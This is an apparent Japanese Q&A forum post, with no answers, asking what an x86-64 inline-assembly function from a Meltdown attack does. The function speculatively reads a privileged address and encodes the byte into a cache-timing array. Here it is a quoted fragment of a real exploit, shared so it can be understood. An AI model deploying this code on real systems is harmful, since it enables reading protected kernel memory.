0

以下のコードはメルトダウン攻撃の一部であり、それが何をしているのか理解できませんでした。コードの下で何をしているのか説明してもらえますか?

static void __attribute__((noinline))
speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
    "1:\n\t"

    ".rept 300\n\t"
    "add $0x141, %%rax\n\t"
    ".endr\n\t"

    "movzx (%[addr]), %%eax\n\t"
    "shl $12, %%rax\n\t"
    "jz 1b\n\t"
    "movzx (%[target], %%rax, 1), %%rbx\n"

    "stopspeculate: \n\t"
    "nop\n\t"
    :
    : [target] "r" (target_array),
      [addr] "r" (addr)
    : "rax", "rbx"
);
4

0 に答える 0